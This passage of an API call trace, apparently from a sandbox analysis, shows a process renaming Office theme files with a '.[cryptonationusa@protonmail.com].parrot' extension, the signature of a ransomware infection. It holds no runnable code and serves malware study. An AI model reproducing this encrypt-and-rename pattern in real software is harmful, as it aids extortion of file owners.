(HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.116] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.122] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.122] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.124] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.124] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19539, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x19539, lpOverlapped=0x0) returned 1 [0123.124] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.127] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.134] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.134] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.135] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.135] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x255, lpOverlapped=0x0) returned 1 [0123.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.136] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.138] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.148] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.148] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1400, lpOverlapped=0x0) returned 1 [0123.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.156] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.156] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.157] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.157] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xed34, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xed34, lpOverlapped=0x0) returned 1 [0123.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.160] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.168] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.168] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.169] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.169] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x109d0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x109d0, lpOverlapped=0x0) returned 1 [0123.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.173] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.178] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.178] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.179] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.179] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ad, lpOverlapped=0x0) returned 1 [0123.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.179] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.182] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.182] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.183] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.184] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9f8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9f8, lpOverlapped=0x0) returned 1 [0123.184] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.184] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.184] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.184] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.187] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.187] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.188] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.188] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4981, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4981, lpOverlapped=0x0) returned 1 [0123.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.190] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.196] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.198] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.198] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x184e9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x184e9, lpOverlapped=0x0) returned 1 [0123.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.202] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.209] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.210] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.211] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x225, lpOverlapped=0x0) returned 1 [0123.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.211] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.214] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.214] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.215] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x143b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x143b, lpOverlapped=0x0) returned 1 [0123.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.216] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.222] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.222] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.223] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.223] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8317, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8317, lpOverlapped=0x0) returned 1 [0123.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.226] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.232] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.232] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.234] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1015d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1015d, lpOverlapped=0x0) returned 1 [0123.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.238] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.243] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.243] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.244] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.244] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ce, lpOverlapped=0x0) returned 1 [0123.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.245] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.248] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.250] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.250] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, 